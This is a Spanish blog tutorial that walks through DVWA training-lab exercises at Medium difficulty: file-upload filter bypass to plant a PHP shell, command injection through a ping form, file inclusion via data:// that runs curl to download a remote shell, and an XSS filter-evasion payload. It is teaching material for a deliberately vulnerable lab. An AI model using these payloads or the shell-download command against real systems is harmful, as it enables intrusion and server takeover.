Lab: Aprendiendo a explotar vulnerabilidades web con DVWA

Para quienes no lo recuden o no conozcan sobre DVWA es básicamente un aplicativo de entrenamiento en seguridad web. En un anterior articulo habíamos hablado ya sobre cómo explotar y evitar vulnerabilidades web (recomendado leer para conocer el funcionamiento de cada vulnerabilidad y cómo solucionarlas) usando DVWA en nivel fácil, para este caso haremos lo mismo pero aumentando la dificultad a Medium.

File Upload

Para este nivel nos complican un poco más la vida ya que validan que sólo subamos imágenes con formato JPG 🙁 así que debemos “bypassear” el filtro para poder subir nuestra shell, ¿qué es un bypass? básicamente es cambiar el flujo de datos normal por otro, que para este caso son las cabeceras. Para hacer eso necesitaremos un sniffer que registre la información que se envía por el formulario, para eso usemos nuestro amiguito Live HTTP Headers:

Subimos la shell cambiándole la extensión a .jpg y capturamos lo que se envía, como se ve en la imagen de arriba el archivo sube satisfactoriamente pero no lo podemos ejecutar dentro del servidor. Dentro de Live HTTP headers usamos la opción repetir para luego cambiar la extensión .jpg por .php, de esta forma cambiamos las cabeceras y volvemos a enviar la información modificada:

De esta forma el archivo se sube con extensión .php y podremos ejecutarlo 🙂

Command Execution

Nos volvemos a encontrar con un formulario que ejecuta un ping a la dirección IP que le indiquemos, el objetivo es poder ejecutar cualquier otro comando que nosotros queramos. Esta vez no podemos usar el operador lógico && (y) pero Batch/Bash cuenta con otros operadores más como por ejemplo || (o), para poder que la consola interprete || necesitamos que el primer comando (o sea ping) no se ejecute correctamente, simplemente en vez de poner una IP enviamos una palabra cualquiera seguido de || comando:

Otra forma aún más simple sería usando sólo | que funciona de forma similar a &&.

File Inclusion

Esta vez al intentar incluir un archivo externo al servidor enviándolo como parámetro: ?page=http://web.com/shell.php nos encontramos con:

<strong>Warning</strong>: include(google.com): failed to open stream: No such file or directory

En pocas palabra no encuentra dentro del servidor el archivo google.com, si nos fijamos la validación está quitando el http://. Por un lado nos complica hacer un RFI (Remote File Inclusion) pero podemos explotar un LFI (Local File Inclusion), de esta manera podemos ver el contenido de archivos del servidor como puede ser passwd. En sí es muy poco lo que podemos hacer a menos de que ya tuviéramos una shell dentro del servidor, pero como no es el caso debemos buscar la manera de subir una ¿cómo hacemos esto? ejecutando comandos de consola. Para ello hacemos uso de data:// que es un esquema de URL soportado desde PHP 5.2 que permite la inclusión de datos directamente sin llamar archivos, para hacerme explicar mejor, podríamos por ejemplo mostrar una imagen en un HTML sin especificar la URL de la imagen:

<img src="data:image/png;base64,contenido en base64 />

Ahora si probamos enviando

?page=data:, <?php echo "Hola desde RedIfoCol"; ?>

Debería imprimirse el texto Hola desde RedInfoCol. Naturalmente queremos ir más allá de un echo, ejecutar comandos de consola, para ello usaremos la función system de PHP. Ahora para descargar la shell al servidor podríamos hacer uso de wget o cURL:

?page=data:, <?php system("curl -O http://miweb.com/shell.php"); ?>

Cabe mencionar que el anterior ataque se puede o no realizar según la configuración de allow_url_include en el php.ini. Por ultimo mencionar que también hubiera podido incluir un ftp:// directamente con la dirección de la shell y hubiera funcionado el RFI pero no está demás dar a conocer las diferentes formas de explotar una vulnerabilidad.

XSS Reflected y Stored

En este nivel el sistema de comentarios sigue siendo vulnerable a HTML pero no a Javascript evitando las etiquetas <script>. Para este caso debemos de volver a bypassear el formulario “escapando” o codificando los caracteres del Javascript que queremos que se ejecute, de esta forma el PHP no puede validar correctamente el código y conseguiremos nuestro objetivo. Existen diferentes formas de evadir estos filtros, usando por ejemplo el esquema data que usamos para el File Inclusion.

<<SCRIPT>alert("RedinFoCol");//<</SCRIPT>

Existen herramientas online como esta que convierten los caracteres del Javascript que le indiquemos facilitando la tarea.

Articulo en actualización.

Brian Urban es estudiante de Psicología, interesado por el desarrollo web y las nuevas tecnologías. Editor y administrador del sitio.

Artículos Relacionados

DVWA: Conociendo y explotando vulnerabilidades web (Level: low)

DVWA: Conociendo y explotando vulnerabilidades web (Level: low)

¿Qué es y cómo funciona un ataque por fuerza bruta?

1 Comentario

  1. ramon ferney diaz lautero - junio 17, 2014, 9:31 am Responder

    buenos dias como esta la presente es con el fin de preguntarle si usted hace trabajos en dvwa ya que tengo uno para hacer es para la univesidad y este es urgente me puede informa gracias
    ramon diaz

Deja un comentario

Tu email no será publicado.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*